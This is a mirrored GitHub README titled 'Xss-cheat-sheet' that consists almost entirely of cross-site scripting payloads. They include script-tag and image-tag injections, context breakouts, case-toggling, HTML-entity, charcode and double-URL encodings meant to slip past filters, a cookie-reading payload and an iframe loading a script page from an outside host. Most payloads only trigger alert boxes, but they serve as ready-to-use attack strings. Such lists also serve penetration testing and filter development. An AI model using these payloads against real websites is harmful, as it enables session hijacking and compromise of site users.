Code Monkey home page Code Monkey logo

xss-common-payloads's Introduction

Xss-cheat-sheet

These are some of the Xss (Cross-Site-Scripting) payloads.

What is Cross-Site-Scripting?

Basic XSS codes:

———————————-

```<script>alert(“XSS”)</script>```

```<script>alert(“XSS”);</script>```

```<script>alert(‘XSS’)</script>```

“><script>alert(“XSS”)</script>

```<script>alert(/XSS”)</script>```

```<script>alert(/XSS/)</script>```

When inside Script tag:

———————————

```</script><script>alert(1)</script>```
```‘; alert(1);```
```‘)alert(1);//```

Bypassing with toggle case:

————————————–

 ```<ScRiPt>alert(1)</sCriPt>```
  ```<IMG SRC=jAVasCrIPt:alert(‘XSS’)>```

XSS in Image and HTML tags:

———————————————

```<IMG SRC=”javascript:alert(‘XSS’);”>```

<IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=javascript:alert(‘XSS’)>

```<img src=xss onerror=alert(1)>```
```<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>```
```<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>```
```<IMG SRC=”jav ascript:alert(‘XSS’);”>```

```<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>```

```<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>```

```<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>```

```<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>```

```<BODY BACKGROUND=”javascript:alert(‘XSS’)”>```

```<BODY ONLOAD=alert(‘XSS’)>```
```<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>```
```<IMG SRC=”javascript:alert(‘XSS’)”```

<iframe src=http://ha.ckers.org/scriptlet.html <

Bypass the script tag filtering:

————————————————–

```<<SCRIPT>alert(“XSS”);//<</SCRIPT>```

```%253cscript%253ealert(1)%253c/script%253e```

```“><s”%2b”cript>alert(document.cookie)</script>```

```foo<script>alert(1)</script>```

```<scr<script>ipt>alert(1)</scr</script>ipt>```

Using String.fromCharCode function:

—————————————————–

```<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>```

```‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>```

xss-common-payloads's People

Contributors

emin-skrijelj avatar

Watchers

avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.